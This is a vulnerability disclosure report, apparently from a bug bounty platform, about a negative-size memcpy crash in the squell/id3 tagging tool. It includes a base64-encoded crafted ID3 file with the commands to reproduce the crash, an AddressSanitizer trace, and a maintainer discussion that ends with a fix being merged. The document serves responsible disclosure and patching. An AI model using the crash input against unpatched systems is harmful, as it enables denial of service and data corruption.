Buffer Access with Incorrect Length Value in squell/id3

Valid

Reported on

Oct 8th 2021


Description

Hello, I hope you're doing well. Whilst testing id3 built from commit 896d42a, we discovered crafted input which triggers a negative-size-param (size=-1) error when when calling memcpy, causing the software to crash.

Proof of Concept

First...

Second...

echo "SUQzBDAwAAAAZDAwMDAAAACbMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwAAAABDB/
/wAwMDAwMAAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=" | base64 -d > /tmp/file0000.crash

./id3 -v -u /tmp/file0000.crash

Finally...

==55694==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x2dfc34 in __asan_memcpy (/root/id3/id3+0x2dfc34)
    #1 0x35931a in ID3_put /root/id3/id3v2.c:477:13
    #2 0x349481 in (anonymous namespace)::writer::put(char const*, void const*, unsigned long) /root/id3/setid3v2.cpp:77:24
    #3 0x340594 in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:327:25
    #4 0x366431 in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #5 0x366431 in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #6 0x366431 in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #7 0x332e0e in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #8 0x332e0e in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #9 0x320406 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #10 0x328e22 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #11 0x3280bd in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #12 0x317721 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #13 0x31a9c8 in main_(int, char**) /root/id3/main.cpp:585:24
    #14 0x32355c in main /root/id3/main.cpp:631:16
    #15 0x7fbb9cd260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #16 0x26568d in _start (/root/id3/id3+0x26568d)

0x60b0000003e4 is located 52 bytes inside of 105-byte region [0x60b0000003b0,0x60b000000419)
allocated by thread T0 here:
    #0 0x2e08ed in malloc (/root/id3/id3+0x2e08ed)
    #1 0x354972 in ID3_readf /root/id3/id3v2.c:218:11
    #2 0x33f1ce in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:296:23
    #3 0x366431 in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #4 0x366431 in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #5 0x366431 in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #6 0x332e0e in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #7 0x332e0e in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #8 0x320406 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x3280bd in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #10 0x317721 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19

SUMMARY: AddressSanitizer: negative-size-param (/root/id3/id3+0x2dfc34) in __asan_memcpy
==55694==ABORTING

Impact

Software crash, memory corruption, data loss

We have contacted a member of the squell/id3 team and are waiting to hear back 2 months ago
Geeknik Labs modified their report
2 months ago
Marc
2 months ago

Maintainer


Hi! Doing well; life's bustle is starting again. Assuming you mean commit 863d42a, for which it's reproducible.

Marc R. Schoolderman validated this vulnerability 2 months ago
Geeknik Labs has been awarded the disclosure bounty
The fix bounty is now up for grabs
Marc
2 months ago

Maintainer


Oh no, it's one of those "maybe this header is here, maybe it's not" cases that ID3v2 excels in. Let's see why this slipped past the sanitizer.

Marc
2 months ago

Maintainer


It would be really easy to reject this tag because it has so much wrong with it; but that wouldn't solve the underlying issue.

Geeknik Labs
2 months ago

Researcher


True. There is likely another tag that would trigger the same issue and you would just end up playing whack-a-mole but with tags.

Marc
2 months ago

Maintainer


Ah, how interesting. The raw tag passes the sanity check, but the result of the unsynchronization scheme was not re-checked. A second sanitization check is the best general solution for this and potential other issues.

Also going to add something that simply erases the optional headers while de-unsynchronizing; not because it fixes this specific problem (it does), but merely out of spite.

Marc R. Schoolderman confirmed that a fix has been merged on 376f1c 2 months ago
Marc R. Schoolderman has been awarded the fix bounty
Marc
2 months ago

Maintainer


(Actually, the last part isn't necessary; a tag update already gets rid of them. Nice.)

Geeknik Labs
2 months ago

Researcher


Excellent. Patch lgtm, thank you!